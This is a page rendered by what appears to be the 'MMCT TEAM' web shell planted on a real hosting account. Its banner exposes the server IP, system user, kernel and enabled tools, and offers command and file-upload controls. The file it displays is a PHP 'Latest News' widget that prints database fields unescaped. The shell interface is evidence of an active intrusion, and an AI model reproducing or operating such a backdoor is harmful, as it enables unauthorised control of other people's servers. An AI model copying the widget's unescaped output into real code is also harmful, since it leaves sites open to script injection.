MMCT TEAM
Server IP : 86.38.243.193  /  Your IP : 216.73.217.143
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u493057690 ( 493057690)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u493057690/domains/iasfindia.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u493057690/domains/iasfindia.com/public_html/latest-news.php
						<div class="card mb-lg-0">
							<div class="card-header">
								<h3 class="card-title font-weight-bold">Latest News</h3>
							</div>
							<div class="card-body p-0">
								<ul class="list-unstyled widget-spec tour-scroll vertical-scroll mb-0">
								<?php 
								function custom_echo($x, $length)
{
  if(strlen($x)<=$length)
  {
    echo $x;
  }
  else
  {
    $y=substr($x,0,$length) . '...';
    echo $y;
  }
}
require_once 'admin/connect.php';

$query = $conn->query("SELECT * FROM `latest_news` where status='Active'") or die(mysql_error());
					while($fetch = $query->fetch_array()){
?>
								
									<li>
										<div class="d-flex">
											<div><img src="admin/<?php echo $fetch['photo']?>" alt="img" class="br-5 w-9"></div>
											<div class="ml-5 mt-1">
												<a href="#"><h5 class="mb-1 font-weight-bold"><?php echo $fetch['head']?></h5></a>
												<small><a href="#"><?php echo custom_echo($fetch['news'], 50)?></a> 
												<form method="post" action="show-news.php">
												<input type = "hidden" class = "form-control" name = "id" value="<?php echo $fetch['id'];?>" />
												
												<input type = "submit" class = "fe fe-edit-2" name ="read" value="Read More..."></input>
												</form>
												</small> 
												<div class="item7-card-desc d-flex mb-2">
											<small><a href="#"><i class="fe fe-calendar text-muted mr-2"></i><?php echo $fetch['date']?></a></small>
											<div class="ml-auto">
												
											</div>
										</div>
											</div>
										</div>
									</li>

									<?php
					}
				?>
									
									</ul>
							</div>
						</div>
						
						

MMCT - 2023